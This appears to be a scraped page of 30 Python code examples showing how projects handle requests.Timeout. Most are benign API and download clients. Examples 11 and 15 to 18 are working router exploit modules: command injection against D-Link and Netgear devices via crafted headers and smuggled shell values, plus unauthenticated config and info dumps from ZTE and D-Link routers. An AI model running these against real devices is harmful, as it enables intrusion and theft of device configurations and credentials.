Python requests.Timeout() Examples
The following are 30
code examples of requests.Timeout().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
requests
, or try the search function
.
Example #1
Source File: client.py From clashroyale with MIT License | 9 votes |
def _request(self, url, refresh=False, **params): if self.using_cache and refresh is False: # refresh=True forces a request instead of using cache cache = self._resolve_cache(url, **params) if cache is not None: return cache method = params.get('method', 'GET') json_data = params.get('json', {}) timeout = params.pop('timeout', None) or self.timeout if self.is_async: # return a coroutine return self._arequest(url, **params) try: with self.session.request( method, url, timeout=timeout, headers=self.headers, params=params, json=json_data ) as resp: return self._raise_for_status(resp, resp.text, method=method) except requests.Timeout: raise NotResponding except requests.ConnectionError: raise NetworkError
Example #2
Source File: api_client.py From drydock with Apache License 2.0 | 7 votes |
def test_authentication(self): try: resp = self.get('account/', op='list_authorisation_tokens') except requests.Timeout: raise errors.TransientDriverError("Timeout connection to MaaS") except Exception as ex: raise errors.PersistentDriverError( "Error accessing MaaS: %s" % str(ex)) if resp.status_code in [401, 403]: raise errors.PersistentDriverError( "MaaS API Authentication Failed") if resp.status_code in [500, 503]: raise errors.TransientDriverError("Received 50x error from MaaS") if resp.status_code != 200: raise errors.PersistentDriverError( "Received unexpected error from MaaS") return True
Example #3
Source File: tvsubtitles.py From nzb-subliminal with GNU General Public License v3.0 | 6 votes |
def download_subtitle(self, subtitle): try: r = self.session.get(self.server + '/download-{subtitle_id}.html'.format(subtitle_id=subtitle.id), timeout=10) logger.debug('Download URL: %s' % ( self.server + '/download-{subtitle_id}.html'\ .format(subtitle_id=subtitle.id))) except requests.Timeout: raise ProviderNotAvailable('Timeout after 10 seconds') if r.status_code != 200: raise ProviderNotAvailable('Request failed with status code %d' % r.status_code) with contextlib.closing(zipfile.ZipFile(io.BytesIO(r.content))) as zf: if len(zf.namelist()) > 1: raise ProviderError('More than one file to unzip') subtitle_bytes = zf.read(zf.namelist()[0]) subtitle_text = subtitle_bytes.decode( detect(subtitle_bytes, subtitle.language.alpha2)['encoding'], 'replace') if not is_valid_subtitle(subtitle_text): raise InvalidSubtitle return subtitle_text
Example #4
Source File: probe_search.py From ripe-atlas-tools with GNU General Public License v3.0 | 6 votes |
def test_location_google_breaks(self): """User passed location arg but google api gave error""" caught_exceptions = [ requests.ConnectionError, requests.HTTPError, requests.Timeout] with mock.patch('requests.get') as mock_get: for exception in caught_exceptions: mock_get.side_effect = exception with capture_sys_output(): with self.assertRaises(RipeAtlasToolsException): cmd = Command() cmd.init_args(["--location", "blaaaa"]) cmd.run() mock_get.side_effect = Exception() with self.assertRaises(Exception): cmd = Command() cmd.init_args(["--location", "blaaaa"]) cmd.run()
Example #5
Source File: check_https.py From httpswatch with MIT License | 6 votes |
def check_http_page(info): http_redirect = info.new_check() try: resp, tree = fetch_through_redirects("http://{}".format(info.domain)) info.http_redirects_to_https = resp.url.startswith("https://") if info.http_redirects_to_https: http_redirect.succeed("HTTP site redirects to HTTPS.") else: http_redirect.fail("HTTP site doesn’t redirect to HTTPS.") except requests.Timeout: http_redirect.fail("The HTTP site times out.") return except requests.ConnectionError: http_redirect.fail("Nothing is listening on port 80") return except Not200 as e: http_redirect.fail("The HTTP site returns an error status ({}) on request.".format(e.status)) return
Example #6
Source File: client.py From clashroyale with MIT License | 6 votes |
def _request(self, url, refresh=False, **params): if self.using_cache and refresh is False: # refresh=True forces a request instead of using cache cache = self._resolve_cache(url, **params) if cache is not None: return cache if self.ratelimit[1] == 0 and time() < self.ratelimit[2] / 1000: if not url.endswith('/auth/stats'): raise RatelimitErrorDetected(self.ratelimit[2] / 1000 - time()) if self.is_async: # return a coroutine return self._arequest(url, **params) timeout = params.pop('timeout', None) or self.timeout try: with self.session.get(url, timeout=timeout, headers=self.headers, params=params) as resp: return self._raise_for_status(resp, resp.text, method='GET') except requests.Timeout: raise NotResponding except requests.ConnectionError: raise NetworkError
Example #7
Source File: pub.py From oadoi with MIT License | 6 votes |
def scrape_page_for_open_location(self, my_webpage): # logger.info(u"scraping", url) try: find_pdf_link = self.should_look_for_publisher_pdf() if not find_pdf_link: logger.info('skipping pdf search') my_webpage.scrape_for_fulltext_link(find_pdf_link=find_pdf_link) if my_webpage.error: self.error += my_webpage.error if my_webpage.is_open: my_open_location = my_webpage.mint_open_location() self.open_locations.append(my_open_location) # logger.info(u"found open version at", webpage.url) else: # logger.info(u"didn't find open version at", webpage.url) pass except requests.Timeout, e: self.error += "Timeout in scrape_page_for_open_location on {}: {}".format( my_webpage, unicode(e.message).encode("utf-8")) logger.info(self.error)
Example #8
Source File: scheduling_target.py From aztk with MIT License | 6 votes |
def http_request_wrapper(func, *args, timeout=None, max_execution_time=300, **kwargs): start_time = time.clock() while True: try: response = func(*args, timeout=timeout, **kwargs) response.raise_for_status() return response except requests.Timeout: pass if (time.clock() - start_time > max_execution_time): raise error.AztkError("Waited {} seconds for request {}, exceeded max_execution_time={}".format( time.clock() - start_time, func.__name__, max_execution_time, ))
Example #9
Source File: base.py From cloudbase-init with Apache License 2.0 | 6 votes |
def _get_data(self, path): """Getting the required information using metadata service.""" try: response = self._http_request(path) except requests.HTTPError as exc: if exc.response.status_code == 404: raise NotExistingMetadataException( getattr(exc, "message", str(exc))) raise except requests.exceptions.SSLError as exc: LOG.exception(exc) raise exception.CertificateVerifyFailed( "HTTPS certificate validation failed.") except (requests.ConnectionError, requests.Timeout) as exc: LOG.exception(exc) raise return response
Example #10
Source File: tvsubtitles.py From nzb-subliminal with GNU General Public License v3.0 | 6 votes |
def request(self, url, params=None, data=None, method='GET'): """Make a `method` request on `url` with the given parameters :param string url: part of the URL to reach with the leading slash :param dict params: params of the request :param dict data: data of the request :param string method: method of the request :return: the response :rtype: :class:`bs4.BeautifulSoup` :raise: :class:`~subliminal.exceptions.ProviderNotAvailable` """ try: r = self.session.request(method, self.server + url, params=params, data=data, timeout=10) except requests.Timeout: raise ProviderNotAvailable('Timeout after 10 seconds') if r.status_code != 200: raise ProviderNotAvailable('Request failed with status code %d' % r.status_code) return bs4.BeautifulSoup(r.content, ['permissive'])
Example #11
Source File: dir890l_soapaction.py From rext with GNU General Public License v3.0 | 6 votes |
def do_run(self, e): url = "http://%s:%s/HNAP1" % (self.host, self.port) headers = {"SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command} try: print_warning("Sending exploit") requests.post(url, headers=headers, timeout=60) print_warning("HTTPd is still responding this is OK if you changed the payload") except requests.ConnectionError: print_success("exploit sent.") answer = query_yes_no("Do you wish to dump all system settings? (if telned was started)") if answer is True: tn = telnetlib.Telnet(self.host, self.port) print_info("Sending command through telnet") tn.read_until(b'#', timeout=15) tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n") response = tn.read_until(b'#', timeout=15) tn.close() print_info("Writing response to config.xml") writetextfile(response.decode('ascii'), "config.xml") print_warning("Don't forget to restart httpd or reboot the device") except requests.Timeout: print_error("timeout")
Example #12
Source File: addic7ed.py From nzb-subliminal with GNU General Public License v3.0 | 6 votes |
def terminate(self): # logout if self.logged_in: # Toggle our flag reguardless of our success self.logged_in = False try: r = self.session.get(self.server + '/logout.php', timeout=10) logger.debug('Successfully logged out of Addic7ed.') except requests.Timeout: # No problem... we're done anyway logger.warning('A timeout occured logging out of Addic7ed!') return if r.status_code != 200: logger.warning( 'Addic7ed returned the error code %d while logging out' %\ r.status_code, ) return # Close our session self.session.close()
Example #13
Source File: addic7ed.py From nzb-subliminal with GNU General Public License v3.0 | 6 votes |
def download_subtitle(self, subtitle): try: r = self.session.get(self.server + subtitle.download_link, timeout=10, headers={'Referer': self.server + subtitle.referer}) logger.debug('Download URL: %s' % (self.server + subtitle.download_link)) except requests.Timeout: raise ProviderNotAvailable('Timeout after 10 seconds') if r.status_code != 200: raise ProviderNotAvailable('Request failed with status code %d' % r.status_code) if r.headers['Content-Type'] == 'text/html': raise ProviderNotAvailable('Download limit exceeded') subtitle_text = r.content.decode( detect(r.content, subtitle.language.alpha2)['encoding'], 'replace') if not is_valid_subtitle(subtitle_text): raise InvalidSubtitle return subtitle_text
Example #14
Source File: client.py From interop with Apache License 2.0 | 6 votes |
def get_odlcs(self, mission=None): """GET odlcs. Args: mission: Optional. ID of a mission to restrict by. Returns: List of Odlc objects which are viewable by user. Raises: InteropError: Error from server. requests.Timeout: Request timeout. ValueError or AttributeError: Malformed response from server. """ url = '/api/odlcs' if mission: url += '?mission=%d' % mission r = self.get(url) odlcs = [] for odlc_dict in r.json(): odlc_proto = interop_api_pb2.Odlc() json_format.Parse(json.dumps(odlc_dict), odlc_proto) odlcs.append(odlc_proto) return odlcs
Example #15
Source File: dir815_645_exec.py From rext with GNU General Public License v3.0 | 6 votes |
def do_run(self, e): url = "http://%s:%s/diagnostic.php" % (self.host, self.port) payload = {'act': 'ping', 'dst': '& %s&' % self.command} headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: print_warning("Sending exploit") response = requests.post(url, headers=headers, data=payload, timeout=60) if "<report>OK</report>" in response.text: print_success("output not available this is blind injection") else: print_error("could not find marker in response, exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
Example #16
Source File: dsl_2750b_info.py From rext with GNU General Public License v3.0 | 6 votes |
def do_run(self, e): url = "http://%s:%s/hidden_info.html" % (self.host, self.port) try: print_warning("Sending exploit") response = requests.get(url, timeout=60) if "Manufacture Information" in response.text: print_success("information obtained, writing response into hidden_info.html") core.io.writetextfile(response.text, "hidden_info.html") print_warning("Please check file, response seems to depend on FW version, parsing may not be accurate") value = re.findall("str =\(\"\[\{(.*)\}", response.text) value = value[0].split(',') for i in value: print_green(i) else: print_error("exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
Example #17
Source File: prosafe_exec.py From rext with GNU General Public License v3.0 | 6 votes |
def do_run(self, e): url = "http://%s:%s/login_handler.php" % (self.host, self.port) headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } data = 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; echo "741852' try: response = requests.post(url=url, headers=headers, data=data, timeout=60) if "741852" in response.text: print_success("target is vulnerable") # Not so sure about quoting of commands that has arguments data = 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; %s' % self.command response = requests.post(url=url, headers=headers, data=data, timeout=60) print(response.text) elif "failure" in response.text: print_error("Exploit failed, target is probably patched") print(response.text) except requests.Timeout: print_error("exploit failed") except requests.ConnectionError: print_error("exploit failed")
Example #18
Source File: f660_config_download.py From rext with GNU General Public License v3.0 | 6 votes |
def do_run(self, e): url = "http://%s:%s/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" % (self.host, self.port) try: print_warning("Sending exploit") # It took me longer than necessary to find out how to use Content-Disposition properly # Always set stream=True otherwise you may not get the whole file response = requests.post(url, files={'config': ''}, timeout=60, stream=True) if response.status_code == 200: if response.headers.get('Content-Disposition'): print_success("got file in response") print_info("Writing file to config.bin") core.io.writefile(response.content, "config.bin") print_success("you can now use decryptors/zte/config_zlib_decompress to extract XML") except requests.ConnectionError as e: print_error("connection error %s" % e) except requests.Timeout: print_error("timeout")
Example #19
Source File: stashtest.py From stash with MIT License | 6 votes |
def network_is_available(): """ Check whether the network is available. :return: whether the network is available. :rtype: bool """ # to be sure, test multiple sites in case one of them is offline test_sites = [ "https://github.com/ywangd/stash/", # main StaSh repo "https://forum.omz-software.com/", # pythonista forums "https://python.org/", # python website ] for url in test_sites: try: requests.get(url, timeout=5.0) except (requests.ConnectionError, requests.Timeout): # can not connect, retry. continue else: # successfully connected. return True return False
Example #20
Source File: check_music.py From snippet with MIT License | 6 votes |
def check_music(site_handler, dbapi, m, equal_test=False): try: infos = site_handler(m.name) except (ConnectionError, Timeout) as err: LOG.info("Timeout: sid=%s, name=%s, singer=%s, ablum=%s, err=%s", m.sid, m.name, m.singer, m.ablum, err) return url = "" for info in infos: url = _check_music(info, m.name, m.singer, m.ablum, equal_test) if url: break try: dbapi.set_url(m.id, url) except Exception as err: LOG.error("Failed to set url: %s", err) if not infos: LOG.warning("NotFound: sid=%s, name=%s, singer=%s, ablum=%s", m.sid, m.name, m.singer, m.ablum) return
Example #21
Source File: client.py From interop with Apache License 2.0 | 6 votes |
def post_odlc(self, odlc): """POST odlc. Args: odlc: The odlc to upload. Returns: The odlc after upload, which will include the odlc ID and user. Raises: InteropError: Error from server. requests.Timeout: Request timeout. ValueError or AttributeError: Malformed response from server. """ r = self.post('/api/odlcs', data=json_format.MessageToJson(odlc)) odlc = interop_api_pb2.Odlc() json_format.Parse(r.text, odlc) return odlc
Example #22
Source File: client.py From interop with Apache License 2.0 | 6 votes |
def get_odlc(self, odlc_id): """GET odlc. Args: odlc_id: The ID of the odlc to get. Returns: Odlc object with corresponding ID. Raises: InteropError: Error from server. requests.Timeout: Request timeout. ValueError or AttributeError: Malformed response from server. """ r = self.get('/api/odlcs/%d' % odlc_id) odlc = interop_api_pb2.Odlc() json_format.Parse(r.text, odlc) return odlc
Example #23
Source File: podnapisi.py From nzb-subliminal with GNU General Public License v3.0 | 6 votes |
def download_subtitle(self, subtitle): try: r = self.session.get(self.server + subtitle.link, timeout=10) logger.debug('Download URL: %s' % (self.server + subtitle.link)) except requests.Timeout: raise ProviderNotAvailable('Timeout after 10 seconds') if r.status_code != 200: raise ProviderNotAvailable('Request failed with status code %d' % r.status_code) with contextlib.closing(zipfile.ZipFile(io.BytesIO(r.content))) as zf: if len(zf.namelist()) > 1: raise ProviderError('More than one file to unzip') subtitle_bytes = zf.read(zf.namelist()[0]) subtitle_text = subtitle_bytes.decode( detect(subtitle_bytes, subtitle.language.alpha2)['encoding'], 'replace') if not is_valid_subtitle(subtitle_text): raise InvalidSubtitle return subtitle_text
Example #24
Source File: client.py From interop with Apache License 2.0 | 5 votes |
def post_telemetry(self, telem): """POST new telemetry. Args: telem: Telemetry object containing telemetry state. Raises: InteropError: Error from server. requests.Timeout: Request timeout. """ self.post('/api/telemetry', data=json_format.MessageToJson(telem))
Example #25
Source File: client.py From interop with Apache License 2.0 | 5 votes |
def put_odlc_image(self, odlc_id, image_data): """PUT odlc image. Image must be PNG or JPEG data. Args: odlc_id: The ID of the odlc for which to upload an image. image_data: The image data (bytes loaded from file) to upload. Raises: InteropError: Error from server. requests.Timeout: Request timeout. """ self.put('/api/odlcs/%d/image' % odlc_id, data=image_data)
Example #26
Source File: client.py From interop with Apache License 2.0 | 5 votes |
def post_odlc_image(self, odlc_id, image_data): """POST odlc image. Image must be PNG or JPEG data. Args: odlc_id: The ID of the odlc for which to upload an image. image_data: The image data (bytes loaded from file) to upload. Raises: InteropError: Error from server. requests.Timeout: Request timeout. """ self.put_odlc_image(odlc_id, image_data)
Example #27
Source File: client.py From interop with Apache License 2.0 | 5 votes |
def get_odlc_image(self, odlc_id): """GET odlc image. Args: odlc_id: The ID of the odlc for which to get the image. Returns: The image data that was previously uploaded. Raises: InteropError: Error from server. requests.Timeout: Request timeout. """ return self.get('/api/odlcs/%d/image' % odlc_id).content
Example #28
Source File: client.py From interop with Apache License 2.0 | 5 votes |
def delete_odlc(self, odlc_id): """DELETE odlc. Args: odlc_id: The ID of the odlc to delete. Raises: InteropError: Error from server. requests.Timeout: Request timeout. """ self.delete('/api/odlcs/%d' % odlc_id)
Example #29
Source File: session.py From mars with Apache License 2.0 | 5 votes |
def check_service_ready(self, timeout=1): import requests try: resp = self._req_session.get(self._endpoint + '/api', timeout=timeout) except (requests.ConnectionError, requests.Timeout): return False if resp.status_code >= 400: return False return True
Example #30
Source File: client.py From interop with Apache License 2.0 | 5 votes |
def post(self, uri, **kwargs): """POST request to server. Args: uri: Server URI to access (without base URL). **kwargs: Arguments to requests.Session.post method. Raises: InteropError: Error from server. requests.Timeout: Request timeout. """ r = self.session.post(self.url + uri, timeout=self.timeout, **kwargs) if not r.ok: raise InteropError(r) return r